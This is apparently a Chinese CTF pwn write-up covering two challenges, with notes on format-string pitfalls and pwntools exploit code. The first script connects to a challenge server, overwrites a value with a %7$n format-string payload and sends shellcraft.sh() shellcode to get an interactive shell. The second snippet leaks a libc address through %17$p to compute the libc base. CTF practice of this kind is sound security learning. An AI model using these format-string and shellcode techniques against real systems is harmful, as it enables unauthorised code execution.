xctf string

简单的格式化字符串
这道题目需要注意的点包括
- 题目中用%x打印出来的地址,可以直接用- int(...,16)来接收,不要用ljust那一套。。。(-_-||
 
- 在利用格式化字符串漏洞的时候,如果用- p64(addr)  + %n(或者%p)...时,要先保证addr没有- \0
 - 就像这道题,我一开始就非得不用它那个%ld输入要写入的地址,就非要把x[0]的地址和后面那一串一起写进去,后果就是print(format)时候根本不会打印aaaa…..和%n,因为地址里有\0,直接停止了😭还在那看了好半天是不是地址的格式问题 
- shellcraft.sh用之前**一定要先指定平台 **-  context(arch='amd64', os='linux')
 
exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | from pwn import *
 
 p = remote("61.147.171.105", 58702)
 
 context(arch='amd64', os='linux')
 
 e = ELF("./1d3c852354df4609bf8e56fe8e9df316")
 
 
 
 p.recvuntil(b"secret[0] is ")
 x0 = int(p.recvuntil(b"\n")[:-1], 16)
 print(hex(x0))
 
 p.recvuntil(b"What should your character's name be:\n")
 p.sendline(b"123")
 
 p.recvuntil(b"So, where you will go?east or up?:")
 p.sendline(b"east")
 p.recvuntil(b"go into there(1), or leave(0)?:\n")
 p.sendline(b"1")
 
 p.recvuntil(b"\'Give me an address\'\n")
 p.sendline(str(x0))
 
 p.recvuntil(b"And, you wish is:\n")
 
 payload = b'a' * 85 + b"%7$n"
 
 p.sendline(payload)
 
 p.recvuntil(b"That's sound terrible! you meet final boss!but you level is ONE!\n")
 p.recvuntil(b"Wizard: I will help you! USE YOU SPELL\n")
 
 
 
 shellcode = asm(shellcraft.sh())
 
 
 p.sendline(shellcode)
 
 p.interactive()
 
 | 
gyctf_2020_some_thing_interesting
https://buuoj.cn/challenges#gyctf_2020_some_thing_interesting
本地运行不起来,不知道是什么原因。
直接在栈上泄露返回__libc_start_main的偏移地址,算出libc
参考 https://blog.csdn.net/mcmuyanga/article/details/114643601

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | r.recvuntil("> Input your code please:")r.sendline("OreOOrereOOreO%17$p")
 
 r.recvuntil("#######################\n")
 r.sendline('0')
 r.recvuntil("# Your Code is ")
 r.recvuntil('0x')
 
 start_main = int(r.recv(12), 16) - 0xf0
 libc.address = start_main - libc.sym['__libc_start_main']
 
 |